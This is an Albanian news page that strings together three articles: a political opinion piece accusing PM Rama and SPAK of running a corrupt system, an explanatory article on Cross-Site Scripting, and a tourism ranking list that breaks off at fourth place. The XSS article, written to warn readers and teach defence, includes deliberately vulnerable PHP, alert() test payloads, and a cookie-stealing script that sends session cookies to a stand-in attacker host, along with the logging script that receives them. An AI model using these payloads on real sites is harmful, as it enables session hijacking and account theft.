    Ndërsa partnerët kërkon t’i lexojë se deri ku duan të shkojnë, ndërkohë që i thotë se linjën e përcakton vetë, nga frika (kërkon mbrojtje) jo se është trim.

    Megjithatë të marra bashkë, këto përgjigje nuk e mbushin saktësinë dhe as e frenojnë Ramën dhe lojën e tij.

    Loja për hir së vërtetës vazhdon!

    Para syve të SPAK dhe ndërkombëtarëve “të egër”.

    Vazhdon, sepse thelbi i lojës është SISTEMI KORRUPTIV, që përfshin dhe drejtësinë virtuale, që Rama ka ndërtuar, të cilin ne e thërrasim herë autokraci,  herë narko-shtet e herë-herë bandë e organizuar.

    Sido ta ketë emrin ky SISTEM ka ngjashmëri me diktaturat.

    Dhe sikurse diktaturat, ky SISTEM sot kërkon e ushqehet me viktima (të fajshme), të cilat i flijon për të mbijetuar, pa arritur kurrë tek njëshi, sepse është ai që komandon SISTEMIN.

    Flijimet e rradhës nuk e dobësojnë sistemin. Ato e forcojnë atë.

    Siç dhe shihet.

    Nuk ka stepje, as ndalesa.

    Ka vetëm viktima dhe flijime.

    Koka, Beqaj, Dako, Bllako, Veliaj e më pas Balluku, Karcanaj, Krifca…. Lista është në vazhdim…

    Ndryshojnë aktet e dramave vetëm, ku Balluku siç duket për hir të afërsisë me Ramën e ka me pesë akte, ndryshe nga Veliaj me tre, apo të tjerët me një akt, apo apo të tjerët që do vijnë, pa ndalur flijimin.

    Rituali i flijimit është i domosdoshëm, sepse kështu SISTEMI çimentohet.

    Dhe këtu në këtë ritual, SPAK-u shkëlqen me rolin e tij.

    Ai bën sikur bën drejtësinë, duke goditur personazhe e duke marrë lavde dhe njëherazi realizon funksionin themelor, si cerberi kryesor i sistemit korruptiv të Ramës.

    Nuk është iluzion:

    mjafton të shohësh si u soll me inceneratorët.

    Nuk u godit dhe nuk u çmontua fare skema që në themel kishte “negociim pa shpallje”.

    Thjesht u penalizuan qesharakësisht disa zyrtarë të lartë.

    Lekët derdhen sot e kësaj dite lumë në “përbindëshin e Tiranës” që nuk ekziston. Ku është efektiviteti?!

    Kështu dhe me koncesionet në shëndetësi.

    SISTEMI korruptiv nuk është prekur fare.

    Madje “cuditërisht” vazhdon: check-up, laboratorët, hemodializa, sterilizimi….lekët vuuuu.

    Shihni thjeshtë se çfarë bëhet me Ballukun.

    Zero hetim për sistemin e korrupsionit në energji, në rrugë, në tendera, të instaluar nga vetë Rama.

    Ndahet Berberi nga Beneti, Beneti nga Belinda, Berberi nga Rama dhe loja nuk mbaron me fraksione pa fund.

    Jo vetëm kaq Rama brenda sistemit që ka ndërtuar, ia kërcet dhe një “negociim pa shpallje” 140 milion eurosh me Smart City-n, pa asnjë mëdyshje.

    Madje duke e shtyrë hapur me zor me shpatën që i pret sa majtas djathtas.

    Dhe nuk do jetë i fundit…KAYO nuk fshihet.

    E gjitha ndodh sepse sigurinë ia siguron SISTEMI, mekanizmi i tij, brenda të cilit SPAK është një segment lidhës.

    Formalisht, po, vërtet kemi drejtësi.

    Institucione, prokurorë specialë, dosje, konferenca shtypi, terminologji latine për ta bërë gjithçka të duket serioze.

    Thelbësisht, kemi diçka më të turbullt:

    një drejtësi selektive, që funksionon mirë kur godet opozitën e ish-aleatë të braktisur dhe papritur bëhet filozofike kur i afrohet qendrës së pushtetit.

    Rastet e përmendura flasin qartë:

    Nuk po shohim zbardhje të një sistemi, por shkëputje hallkash.

    Nuk po goditet arkitektura e korrupsionit. Po preken vetëm personazhe që nuk janë më të dobishëm.

    Më të dobishmit mbrohen me rezistencë deri sa të tendosen drejt dorëzimit dhe ata.

    Ngadalësia e dorëzimit forcon akoma më shumë sistemin dhe drejtësia fiton spektaklin.

    Nëse do të goditej arkitektura do të ndiqej zinxhiri i vendimmarrjes, do hapeshin të gjitha kontratat e lidhura dhe në finale është gjithmonë ai, Rama.

    Por kjo nuk ndodh. Ndodh e kundërta.

    Merret një person. Nxirret një fragment. Krijohet ideja e ndëshkimit që vjen me zor dhe kur vjen është i konsumuar e liliput.

    SISTEMI vazhdon punën. Rama po ashtu vazhdon.

    Thelbësisht nuk po shkatërrohet mekanizmi, por thjesht po prodhohen vetëm shembuj të tanishëm e të pritshëm që po paralajmërohen.

    Kurbanët do vazhdojnë të shkojnë një nga një, me logjikën: “dikush duhet të paguajë që loja të vazhdojë”.

    Nëse do kishim drejtësi të plotë:

    Dosjet do hapeshin sipas fakteve, jo sipas kohës politike.

    Emrat përfshirë Ramën do dilnin në zinxhir sipas aferës, jo me radhë selektive.

    Sistemi do tronditej, jo të stabilizohej pas çdo arrestimi siç po ndodh.

    E kur një sistem “mbijeton” pas çdo goditjeje, por nuk ndryshon, ky nuk është pastrim. Është ritual flijimi.

    Me rituale loja nuk mbyllet, ajo vazhdon e luhet.

    Po drejtësia ku na mbeti?!

    E kemi dhe atë “në këmbë”. Është drejtësi në formë, por kurbane në funksion.

    E pamëshirshme me opozitën dhe protokollare me Edin e Gjykatës Kushtetuese.

    Ajo po përdoret sot për menaxhim politik të korrupsionit, jo për shkatërrimin e tij.

    Dhe kjo është më e rrezikshme se mungesa e drejtësisë, sepse krijon iluzionin se problemi po zgjidhet, ndërkohë që thjesht po menaxhohet që loja të mos mbyllet e Rama të mos mbytet.

  • KUJDES! Kështu t’i vjedhin llogaritë

    KUJDES! Kështu t’i vjedhin llogaritë

    VINI RE

    Mjafton të klikoni. Po, vetëm kaq. Një shpërqendrim, një çast besimi i gabuar dhe, me një klikim të thjeshtë të mausit, llogaria juaj përfundon në duart e një pirati informatik! Po, mos mendoni se një sulmues ka domosdoshmërisht nevojë të depërtojë firewall-e, të deshifrojë fjalëkalime apo të shfrytëzojë dobësi të nivelit të ulët në sistemet operative. Jo. I mjafton një link në dukje i padëmshëm, një viktimë pak e pavëmendshme dhe kodi keqdashës ekzekutohet në shfletuesin tuaj. Tingëllon e çuditshme? Ndoshta po, por kështu funksionon Cross-Site Scripting (XSS), një nga teknikat më tinëzare dhe më të nënvlerësuara, sidomos për shkak të thjeshtësisë së dukshme të ekzekutimit dhe seriozitetit të pasojave që mund të sjellë.

    Në këtë artikull do të zbuloni se si mund të orkestrohet një sulm i tillë dhe cilat janë dinamikat dhe teknikat që e bëjnë atë efektiv dhe të rrezikshëm, duke nxjerrë në pah rreziqet reale dhe strategjitë mbrojtëse.

    NË PRAKTIKË…
    Mirë, le të nisim nga fillimi. Zakonisht, keqbërësi përgatit dhe më pas shpërndan një link keqdashës, ndoshta përmes një email-i phishing, një postimi në rrjetet sociale apo një mesazhi të dërguar përmes aplikacioneve më të zakonshme të komunikimit.

    Kur përdoruesi i pavetëdijshëm klikon mbi linkun, shfletuesi ngarkon faqen e një siti vulnerabël, ndoshta një faqe e besueshme dhe e njohur për përdoruesin, dhe kodi JavaScript i përgatitur nga sulmuesi aktivizohet duke ekzekutuar të gjitha udhëzimet e programuara. Kështu, brenda një fraksioni sekonde dhe pothuajse gjithmonë pa e kuptuar viktima, agresori fiton akses në informacione të ndjeshme, vjedh cookie-t e autentikimit dhe madje kryen veprime në faqe në emër të vetë viktimës!

    KUJDES ME LOGIN-IN!
    Një nga pasojat më të rënda të kësaj teknike lidhet me vjedhjen e llogarive. Le të shohim se si ndodh kjo. Gjithçka nis nga cookie-t, ato skedarë të përkohshëm që përdoren nga faqet për të menaxhuar sesionin e përdoruesit dhe që përmbajnë informacione të cilat, nëse vidhen, i lejojnë një pajisjeje tjetër të marrë kontroll të plotë mbi identitetin dixhital të viktimës brenda të njëjtit site. Janë fragmente të vogla të dhënash që kalojnë pothuajse pa u vënë re gjatë shfletimit dhe, pikërisht për këtë arsye, bëhen një objektiv i preferuar për këdo që tenton të depërtojë në sisteme.

    Nga ana tjetër, zhvilluesi i faqes duhet të jetë plotësisht i vetëdijshëm se çdo pikë e vetme e futjes së të dhënave përfaqëson një kërcënim potencial. Nuk mjafton të projektohen funksionalitete efikase: duhet qartësia për të analizuar se si çdo fushë, çdo formë, çdo parametër mund të shfrytëzohet në mënyrë të gabuar. Shpesh, pikërisht implementimet më të thjeshta dhe në dukje të padëmshme, si shfaqja e një variabli në HTML apo një thirrje banale nga ana e klientit, fshehin rreziqe shumë të rënda, të afta të shndërrohen në dyer të hapura për sulme të papritura dhe shkatërruese.

    [Figura #1]

    Tani, imagjinoni të ndodheni në faqen www.examplesite-xss.com, ku përdoruesit i kërkohet të fusë të dhënat personale në një modul të thjeshtë online dhe t’i konfirmojë ato duke klikuar butonin Submit [Figura #1].

    Me shtypjen e këtij butoni, sistemi ridrejton përdoruesin drejt faqes
    www.example-site-xss.com?name=Mario&surname=Rossi
    e cila thjesht shfaq emrin e futur duke e nxjerrë nga parametri i kaluar në URL. Ky kod, në dukje i padëmshëm, mund të fshehë një rrezik serioz sigurie. Nëse vlerat e dhëna nga përdoruesi shfaqen në ekran pa asnjë kontroll apo filtrimin e duhur, faqja mund të bëhet vulnerabël ndaj sulmeve Cross-Site Scripting.

    Kodi është:

    <?php // Vulnerable to XSS
    echo “Welcome” . $_GET[“name”] . “ “ . $_GET[“surname”] . “!”;
    ?>
    
    [Figura #2

    Sulmuesi mund të ndërhyjë dhe të modifikojë URL-në duke futur kod JavaScript në vend të emrit; nëse faqja nuk aplikon mbrojtje, kodi do të ekzekutohet.

    Në shembull, injektohet një script që shfaq mesazhin “Warning, site vulnerable to XSS” [Figura #2].

    www.example-sitexss.com/welcome.php?name=<script>alert('Warning, Site vulnerable to XSS')</script>&surname=Bossa
    

    Edhe pse në këtë rast kodi është i padëmshëm, një keqbërës mund ta përdorë atë për të kryer veprime shumë më të rrezikshme (siç do ta shohim më pas).

    KOMENTE TË RREZIKSHME

    Gjithmonë për qëllime thjesht didaktike, imagjinoni tani një rast më të veçantë ku një keqbërës shfrytëzon një dobësi XSS për të imituar një përdorues dhe për të arritur kështu vjedhjen e llogarisë së tij.

    Supozoni që një faqe funksionon kështu: në homepage paraqet një form klasik login-i. Pas hyrjes, përdoruesi ridrejtohet në faqen guestbook.php, e cila lejon lënien e një komenti, si në një blog klasik. Duke klikuar butonin Post Comment, teksti dërgohet në një faqe tjetër save_comment.php, e cila e ruan atë në skedarin comment.txt.

    [Figura #3]

    Në të njëjtën faqe, natyrisht, do të jetë edhe seksioni recent comments [Figura #3], që shfaq të gjitha mesazhet e futura më parë, duke i marrë nga skedari i përmendur. Nëse kjo strukturë është realizuar pa masa mbrojtëse kundër XSS, një sulmues mund të shfrytëzojë fushën e komenteve për të futur kod JavaScript keqdashës, një të ashtuquajtur payload XSS.

    Një shembull mund të jetë ky:

    <script>
    var user = document.getElementById('currentuser') ?
    document.getElementById('currentuser').innerText : 'unknown';
    var cookie = document.cookie;
    new Image().src = 'https://www.site-hacker.com/test/datasteal.php?user='
    + encodeURIComponent(user) + '&cookie=' + encodeURIComponent(cookie);
    </script>
    

    Script-i mbledh si cookie-n e sesionit aktiv (p.sh. TSVB_UID) ashtu edhe emrin e përdoruesit të shfaqur në zonën e login-it dhe i dërgon këto të dhëna në serverin e sulmuesit (https://www.site-hacker.com), më konkretisht në një script PHP të quajtur datasteal.php, i cili i merr dhe i ruan në një skedar log.

    <!-- datasteal.php -->
    <?php
    $user = isset($_GET['user']) ? $_GET['user'] : '';
    $cookie = isset($_GET['cookie']) ? $_GET['cookie'] : '';
    $log = date('Y-m-d H:i:s') . " | " . $_SERVER['REMOTE_ADDR'] .
    " | user=" . $user . " | cookie=" . $cookie . "n";
    file_put_contents(__DIR__ . "/log.txt", $log, FILE_APPEND | LOCK_EX);
    ?>
    

    DUKE PËRMBLEDHUR

    Sulmuesi identifikon një faqe vulnerabël ndaj XSS, regjistrohet dhe bën login si çdo përdorues legjitim; në vend që të lërë një koment normal, fut payload-in keqdashës që i lejon të vjedhë të dhënat e sesionit të përdoruesve të tjerë të pavetëdijshëm.

    Cookie-t e vjedhura janë “çelësi i hyrjes” që i lejon sulmuesit të hyjë në faqe në emër të një përdoruesi tjetër, pa pasur nevojë për username apo fjalëkalim.

    [Figura #4]

    Në [Figura #4] paraqitet një shembull i asaj që sulmuesi sheh në skedarin e log-ut çdo herë që një viktimë viziton faqen ose lë një koment. Janë shembuj specifikë ku, duhet theksuar, nuk janë zbatuar masa sigurie.

    Më tej do të shohim disa nga teknikat që duhen përdorur për të shmangur sulme të këtij lloji. Vazhdojmë dhe shohim se si një keqbërës, përmes cookie-ve të kapura, mund të imitojë një përdorues tjetër.

    VARIANTET

    Cross-Site Scripting nuk shfaqet në një formë të vetme, por paraqitet në disa variante me nivele të ndryshme rrezikshmërie.

    Forma Stored XSS është ndër më të rrezikshmet, sepse payload-i keqdashës ruhet brenda bazës së të dhënave ose skedarëve të faqes dhe ekzekutohet sa herë që faqja ngarkohet nga një përdorues (si në shembullin e analizuar më sipër).

    Në të kundërt, Reflected XSS aktivizohet me ndërveprimin e thjeshtë të viktimës me një link të krijuar nga sulmuesi: injektimi nuk ruhet në server, por “reflektohet” menjëherë në përgjigje.

    Një shembull tipik është faqja e kërkimit, e cila përsërit në ekran atë që merr nga një parametër i URL-së pa bërë escaping.

    Funksionon kështu: një sulmues ndërton një link si
    https://example.com/search?q=<script>alert(‘XSS’)</script>
    dhe ia dërgon viktimës së mundshme; sapo hapet, serveri fut përmbajtjen e variablës “q” në kodin HTML të përgjigjes (p.sh. “Results for: <script>alert(‘XSS’)</script>”).

    Shfletuesi e interpreton si kod dhe e ekzekuton, duke shfaqur alert-in, pa u ruajtur asgjë në server. Injektimi ekziston vetëm në kërkesë dhe “reflektohet” në përgjigjen e menjëhershme.

    Së fundi, ekziston DOM-based XSS, i cili shfrytëzon manipulimin e drejtpërdrejtë të DOM-it (Document Object Model) nga ana e klientit dhe është më i vështirë për t’u zbuluar me metodat tradicionale, sepse nuk lë gjurmë të dukshme në kërkesat HTTP apo në bazat e të dhënave.

    Një shembull ndodh kur një faqe web lexon një pjesë të URL-së në anën e klientit dhe e fut atë në DOM pa kontrolle sigurie:

    var name = location.hash.slice(1);
    document.write("Welcome " + name);
    

    Nëse një sulmues shpërndan një link si
    https://example.com/#<script>alert(‘DOMXSS’)</script>
    kur përdoruesi e hap atë, shfletuesi nuk e dërgon atë pjesë të URL-së në server, por script-i në anën e klientit merr përmbajtjen e hash-it (gjithçka pas simbolit #) dhe e fut në HTML. Kështu, shfletuesi e interpreton tekstin si kod JavaScript dhe shfaq menjëherë alert-in.

    Pika kyçe është se payload-i nuk shfaqet në përgjigjen e serverit dhe as nuk ruhet, ndaj dobësia ekziston vetëm në logjikën e klientit, e cila shndërron të dhëna të kontrolluara nga përdoruesi në kod të ekzekutueshëm drejtpërdrejt në DOM. Kjo e bën sulmin më pak të dukshëm dhe më të vështirë për t’u kapur nga mjetet në anën e serverit, sepse gjithçka ndodh brenda shfletuesit.

    MJETET E ZBULIMIT

    Ekzistojnë mjete të ndryshme të afta për të identifikuar dhe verifikuar dobësitë XSS. Edhe plugin-e të thjeshta për zhvillues ose tester në shfletuesit më të përhapur lejojnë injektimin e script-eve të kontrolluara dhe identifikimin e sjelljes së kodit vulnerabël. Ndër mjetet më të përdorura, i njohuri Burp Suite (https://portswigger.net/burp/communitydownload) ofron skanerë automatikë që gjenerojnë payload-e testimi dhe verifikojnë nëse kodi ekzekutohet nga shfletuesi i viktimës. Një mënyrë praktike për zbulim është përdorimi i versionit Community, i cili ofron tashmë funksione për analizën manuale të trafikut HTTPS (proxy, repeater, decoder, comparer dhe vizualizim të kërkesave).

    Ekzekutimi në modalitetin Proxy lejon të vëzhgohet në kohë reale se si aplikacioni menaxhon të dhënat e shkëmbyera me shfletuesin: ndërpritet një kërkesë HTTP drejt një moduli input-i (si një fushë kërkimi ose një formë që lejon lënien e komenteve) dhe përmbajtja origjinale zëvendësohet me një payload testimi, si për shembull një i thjeshtë <script>alert('TestXSS')</script>. Pasi kërkesa dërgohet, vëzhgohet përgjigjja në shfletues. Nëse kodi ekzekutohet dhe shfaqet popup-i i alert-it, kjo do të thotë se aplikacioni nuk e ka filtruar siç duhet input-in, duke konfirmuar dobësinë.

    Më konkretisht, për ata që dëshirojnë të bëjnë prova me Burp Suite, duhet të shkojnë te Proxy/Intercept dhe të klikojnë mbi Open Browser (për të përdorur shfletuesin e integruar, tashmë të konfiguruar drejt proxy-t të Burp). Si alternativë, mund të përdoret FoxyProxy (https://getfoxyproxy.org/) duke krijuar një profil për 127.0.0.1:8080, duke e aktivizuar dhe duke u siguruar që në Burp Suite (Proxy/Options) listener-i të jetë në të njëjtin host/portë.

    Për të inspektuar kërkesat e enkriptuara pa gabime TLS (HTTPS), duhet të instalohet certifikata CA e Burp (vizitoni http://burp/ dhe klikoni mbi CA Certificate për të shkarkuar certifikatën). Në Firefox, certifikata mund të importohet nga cilësimet Privacy dhe Siguria / Certifikata / Shfaq certifikatat / Autoritetet / Importo…

    [Figura #5].

    Tani mund të navigoni drejt faqes që do të testohet: të gjitha të dhënat do të kalojnë përmes Burp Suite dhe do të jenë të disponueshme në HTTP history, e cila do të përditësohet automatikisht me të gjitha kërkesat dhe përgjigjet. Mund të zgjidhni një kërkesë dhe të vëzhgoni në panelin e poshtëm (Request) kërkesën HTTP origjinale me metodën (GET/POST/…). Pa hyrë shumë në përdorimin e aplikacionit, mjafton të dini se analiza e parametrave, e shoqëruar me teste të shkurtra manuale, ju lejon të identifikoni se cilët parametra janë të ndjeshëm ndaj testeve të dobësive si XSS dhe të ndërhyni në mënyrë të synuar [Figura #5].

    KUNDËRMASAT

    Nga pikëpamja teknike, mbrojtja e parë kundër XSS është sanitizimi i saktë i input-it dhe, mbi të gjitha, escaping i output-it të destinuar për klientin. Funksione të dedikuara ose mekanizmat automatikë të framework-eve moderne e ulin ndjeshëm rrezikun, ashtu si edhe një validim koherent i të dhënave dhe escaping-u kontekstual i HTML-së, atributeve dhe URL-ve.

    Gjithashtu, konfigurime më kufizuese, si Content Security Policy ose HttpOnly, apo përditësimi i vazhdueshëm i CMS-ve dhe plugin-eve, kontribuojnë në reduktimin e sipërfaqes së sulmit. Përdoruesi, nga ana e tij, mund të kufizojë rreziqet duke shmangur linke të dyshimta, duke përdorur shfletues të përditësuar dhe duke aktivizuar metoda shtesë autentikimi.

    Një element shpesh i anashkaluar lidhet, së fundmi, me aplikacionet mobile: shumë prej tyre përdorin shfletuesin WebView për të menaxhuar përmbajtje dinamike dhe, nëse nuk mbrohen siç duhet, mund të ekspozojnë të njëjtat dobësi tipike të faqeve web, duke zgjeruar perimetrin e rrezikut.

    Materiali është përgatitur nga bashkëpunëtorë të jashtëm të gazetatjeter.net

  • Vendet më të vizituara në planet dhe surpriza shqiptare në klasifikimin botëror

    Vendet më të vizituara në planet dhe surpriza shqiptare në klasifikimin botëror

    Turizmi është një nga motorët kryesorë të ekonomisë globale. Ai lidh kultura, nxit zhvillimin ekonomik dhe shndërron vende të tëra në pika referimi për udhëtarë nga e gjithë bota. Çdo vit, miliona njerëz udhëtojnë për të zbuluar monumente historike, peizazhe mahnitëse, plazhe ekzotike apo qytete moderne plot jetë. Por cilat janë realisht vendet më të vizituara në botë? Dhe ku pozicionohet Shqipëria në këtë renditje prestigjioze? Të dhënat më të fundit të Organizatës Botërore të Turizmit (UNWTO) japin një panoramë të qartë dhe plot surpriza.

    Fundi i listës, por me pasuri të jashtëzakonshme kulturore

    Në pjesën e poshtme të renditjes së 30 vendeve më të vizituara ndodhen shtete që, edhe pse më pak të njohura masivisht, ofrojnë përvoja unike.

    Uzbekistani, në vendin e 30-të me mbi 10 milionë vizitorë, shquhet për qytete legjendare si Samarkanda, Bukhara dhe Khiva, dëshmi të qytetërimeve të lashta të Rrugës së Mëndafshit. Pas tij vjen Tunizia, e cila kombinon plazhet mesdhetare me trashëgiminë romake dhe kulturën arabe.

    Edhe Shqipëria në vëmendjen e botës turistike

    Në vendin e 28-të renditet Shqipëria, me 11,3 milionë vizitorë në vitin 2024 – një shifër mbresëlënëse për një vend të vogël ballkanik. Shqipëria po kthehet gjithnjë e më shumë në një destinacion të preferuar falë plazheve të kristalta, natyrës së paprekur, qyteteve historike, jetës së natës dhe mikpritjes tradicionale. Ky pozicionim tregon një rritje të fortë të interesit ndërkombëtar dhe një potencial të madh për zhvillim të mëtejshëm të turizmit.

    Azia dhe Afrika: kultura, natyrë dhe metropole moderne

    Singapori, Koreja e Jugut, Vietnami, India dhe Hong Kongu tregojnë fuqinë turistike të Azisë, ku ndërthuren metropolet moderne me traditat mijëravjeçare. Në Afrikë, Maroku dhe Egjipti mbeten destinacione kyçe falë shkretëtirës së Saharasë, piramidave të Egjiptit dhe qyteteve historike plot ngjyra.

    Evropa, një magnet i përhershëm për turistët

    Evropa dominohet nga vende si Portugalia, Austria, Holanda, Greqia dhe Gjermania, të cilat tërheqin dhjetëra miliona turistë çdo vit. Qytetet historike, infrastruktura e zhvilluar dhe trashëgimia kulturore e bëjnë kontinentin europian një zgjedhje të sigurt për udhëtarët nga e gjithë bota.

    Top 3 botëror: gjigantët e turizmit

    Në podium ngjiten tre kolosë të turizmit global.

    Shtetet e Bashkuara, renditen të tretat, me mbi 72 milionë vizitorë, ku turizmi përfiton nga qëndrimet e gjata dhe shpenzimet e larta të turistëve.

    Spanja, zë vendin e dytë, me 93,8 milionë vizitorë, falë plazheve, klimës, gastronomisë dhe qyteteve dinamike si Barcelona dhe Madridi.

    Në krye absolut qëndron Franca, me plot 102 milionë vizitorë në vit. Nga Parisi romantik te Alpet, vreshtat, kuzhina dhe kultura e pasur, Franca mbetet destinacioni më i vizituar në botë.

    ***

    Renditja e vendeve më të vizituara tregon qartë se turizmi nuk është vetëm çështje madhësie apo pasurie, por kombinim i bukurive natyrore, trashëgimisë kulturore dhe menaxhimit të duhur. Shqipëria, me pozicionin e saj në këtë listë prestigjioze, dëshmon se po fiton gjithnjë e më shumë vëmendje ndërkombëtare. Sfida e radhës mbetet përmirësimi i cilësisë, ruajtja e natyrës dhe shndërrimi i këtij fluksi vizitorësh në zhvillim të qëndrueshëm afatgjatë.

    Ja lista e plotë e vendeve më të vizituara në botë

    Udhëtimet dhe turizmi e vënë botën në lëvizje dhe nxisin ekonomitë kudo. Por cilat janë vendet më të vizituara dhe që duhen parë patjetër? Në këtë listë do të gjeni 30 vendet më të vizituara dhe informacione mbi numrin e mbërritjeve të secilit në një vit, si edhe fakte që lidhen me këto destinacione. Pra, përgatitni valixhet, merrni pasaportën dhe bëhuni gati të eksploroni botën! Disa vende mund t’ju surprizojnë, ndërsa të tjerat ndoshta i kishit imagjinuar se do të ishin në krye të renditjes. Qoftë se jeni në kërkim të monumenteve historike, peizazheve mahnitëse apo kulturave të gjalla, këto destinacione ofrojnë diçka për çdo udhëtar.

    Jeni kuriozë të shihni se cilat vende kanë zënë pozicionet e para? Vazhdoni të lexoni për t’i zbuluar.

    30. Uzbekistani

    Në vitin 2024, Uzbekistani ka pritur 10,1 milionë vizitorë. Vendi i Azisë Qendrore vë në qendër të vëmendjes Samarkandën, një nga qytetet më të vjetra në botë, pasuri botërore e UNESCO-s dhe djep i Rilindjes timuride (shek. XIV–XVI). Por Uzbekistani ofron shumë më tepër, përfshirë muret e fortifikuara të Khivës dhe qendrën historike të Bukharasë.

    29. Tunizia

    Në vitin 2024, Tunizia ka pritur 10,3 milionë vizitorë. Turistët janë tërhequr nga plazhet e mrekullueshme të Mesdheut, medina e gjallë e Tunisit (kryeqyteti) dhe disa nga rrënojat romake më mbresëlënëse të Afrikës.

    28. Shqipëria

    Në vitin 2024, 11,3 milionë vizitorë kanë udhëtuar në vendin ballkanik. Ajo krenohet me plazhe të mrekullueshme, jetë nate të gjallë, zona natyrore të paprekura dhe liqene të bukura.

    27. Singapori

    Singapori renditet në vendin e 27-të me 12,4 milionë mbërritje. Vendi karakterizohet nga një numër i madh njerëzish që flasin anglisht, gjë që ua lehtëson shumë turistëve komunikimin me vendasit në rast nevoje. Qoftë për blerje apo për lëvizje nga një pikë interesi në tjetrën, vizitorët nuk shqetësohen nga barrierat gjuhësore dhe shijojnë përqendrimin e një metropoli modern dhe një ishulli tropikal.

    26. Hungaria

    Me 13,2 milionë mbërritje, Hungaria është një destinacion turistik kryesisht evropian, veçanërisht për vizitorët nga Austria, Gjermania dhe Sllovakia. Në Hungari janë të zakonshme qëndrimet e shkurtra dhe turistët shpesh mbërrijnë me makinë.

    25. Egjipti

    Në vitin 2024, Egjipti ka pritur 15,8 milionë turistë. Shumica e tyre janë tërhequr nga resortet bregdetare të Detit të Kuq, monumentet e lashta egjiptiane si piramidat e Gizës dhe Lugina e Mbretërve, si edhe nga përvoja e paharrueshme e një kroçere në Nil, një nga lumenjtë më të gjatë të Tokës.

    24. Makao

    “Las Vegasi i Kinës” ka pritur 16 milionë turistë. Qyteti nuk është vetëm sinonim i lojërave të fatit dhe jetës së gjallë të natës, por edhe një kryqëzim kulturor me një skenë kulinare të jashtëzakonshme.

    23. Koreja e Jugut

    Koreja e Jugut ka plot 16,4 milionë mbërritje dhe kryeqyteti i saj, Seuli, është një nga destinacionet më të dëshiruara nga turistët. Pika të tjera interesi janë Parku Kombëtar Seorak-san, Busani dhe ishulli Jeju, i karakterizuar nga një klimë e ngrohtë. Koreja e Jugut njihet gjithashtu për numrin shumë të lartë të turistëve ndërkombëtarë.

    22. Maroku

    Maroku ka pritur 17,4 milionë vizitorë në vitin 2024. Vendi i Afrikës së Veriut është një parajsë si për adhuruesit e kulturës ashtu edhe për ata të natyrës, me shkretëtirën e Saharasë dhe malet Atlas që rrethojnë qytete magjepsëse si Rabati dhe Marrakeshi.

    21. Vietnami

    Vietnami ka regjistruar 17,5 milionë mbërritje dhe renditet në vendin e 21-të. Me popullaritetin e tij në rritje, Administrata Kombëtare e Turizmit të Vietnamit po punon mbi strategji për të diversifikuar sektorin.

    20. Polonia

    Në të njëjtin nivel me Kanadanë, Polonia ka regjistruar 19,7 milionë mbërritje. E futur në Bashkimin Evropian në vitin 2004, që prej asaj kohe ka shënuar një rritje mbresëlënëse të sektorit turistik. Qyteti më i vizituar në Poloni është Krakovi.

    19. Kanadaja

    Me 19,9 milionë mbërritje, Kanadaja është e radhës në listën tonë. Supozohet se është vendlindja e disa prej njerëzve më tërheqës në botë, por Kanadaja ka edhe vende të spikatura si Toronto, Montreal, Quebec City, Vancouver, Ujëvarat e Niagarës, Whistler dhe shumë të tjera.

    18. India

    Në Indi, Ram Mandir i Ayodhya-s hapi dyert në fillim të vitit 2024 dhe shkaktoi një rritje të madhe të vizitorëve të interesuar për udhëtime fetare. Parashikohet që numri vjetor i vizitorëve të Ram Mandir-it të tejkalojë atë të Taj Mahalit dhe Mekës. Në vitin 2024, destinacioni ka pritur 20,6 milionë vizitorë.

    17. Holanda

    Duke kaluar pragun e 21,3 milionë mbërritjeve, Holanda regjistron 20,1 milionë mbërritje. Në vitin 2017, vendi tërhiqte vetëm 17 milionë turistë të huaj, ndaj rritja ka qenë e ndjeshme vitet e fundit.

    16. Hong Kongu

    Hong Kongu ka pritur 21,9 milionë vizitorë. Ai ofron një përzierje emocionuese kulture, jete nate dhe kuzhine, që ka pak rivalë në botë.

    15. Malajzia

    Malajzia hyn në listë me 25 milionë mbërritje. Në vend janë ndërmarrë disa veprime dhe iniciativa nga Ministria e Turizmit, Arteve dhe Kulturës për të përmirësuar rritjen e turizmit.

    14. Portugalia

    Portugalia tërheq miliona turistë çdo vit. Njerëzit i duan qytetet e saj, të cilat janë njëkohësisht historike dhe magjepsëse, dhe ndodhen pranë vendeve natyrore të mrekullueshme. Ndër destinacionet më të njohura janë Lisbona, Sintra, Porto, Algarve dhe ishulli Madeira (ndër të tjera). Me 29 milionë mbërritje, Portugalia është qartazi një vend shumë i vizituar.

    13. Arabia Saudite

    Në vitin 2024, Arabia Saudite ka pritur 29,7 milionë vizitorë. Mbretëria ofron përvoja emocionuese në shkretëtirë dhe qytete në lulëzim si Rijadi, në pararojë të modernitetit.

    12. Austria

    Shumica e turistëve që vizitojnë Austrinë tërhiqen nga kryeqyteti i saj, Vjena. Destinacioni i dytë më popullor është qyteti i Salzburgut, i cili pret pjesën më të madhe të turistëve gjatë muajve të verës. Austria numëron 31,9 milionë mbërritje.

    11. Tajlanda

    Tajlanda ka regjistruar 35,5 milionë mbërritje. Turistët e duan atmosferën hippie të plazheve të saj, mrekullitë natyrore dhe trashëgiminë e pasur fetare.

    10. Greqia

    Greqia zë vendin e dhjetë, me 36 milionë mbërritje. Vetëm në Greqi ndodhen 20 site të trashëgimisë botërore të UNESCO-s, si edhe disa nga plazhet më të bukura në botë. Ajo është gjithashtu vendlindja e filozofisë perëndimore.

    9. Japonia

    Me 36,9 milionë mbërritje, Japonia është një vend ku turizmi ka shumë rëndësi. Këtu ndodhen 26 site të Trashëgimisë Botërore, si Kalaja e Himejit dhe monumentet e Narës dhe Kiotos së lashtë.

    8. Gjermania

    Sipas sondazheve, 75% e të anketuarve deklarojnë se e vizitojnë Gjermaninë për kulturën. Vendi ka regjistruar 37,5 milionë mbërritje. Kryeqyteti dhe qyteti më i madh është Berlini, i cili tërheq turistë të interesuar për historinë nga e gjithë bota.

    7. Mbretëria e Bashkuar

    Me 41,8 milionë mbërritje, Mbretëria e Bashkuar renditet në vendin e shtatë të klasifikimit tonë. Vizitorët nga Shtetet e Bashkuara janë ata që e vizitojnë më së shumti dhe konsiderohen një treg shumë fitimprurës.

    6. Meksika

    Destinacionet kryesore turistike të Meksikës janë Cancun, Puerto Vallarta, Los Cabos dhe Qyteti i Meksikos. Meksika ka kaluar pragun e 40 milionë vizitave dhe ka arritur shifrën mbresëlënëse prej 45 milionë mbërritjesh.

    5. Italia

    Italia ka regjistruar 57,7 milionë mbërritje. Turizmi në vendin tonë kontribuon me mbi 5% të PBB-së dhe punëson më shumë se 6% të fuqisë punëtore.

    4. Turqia

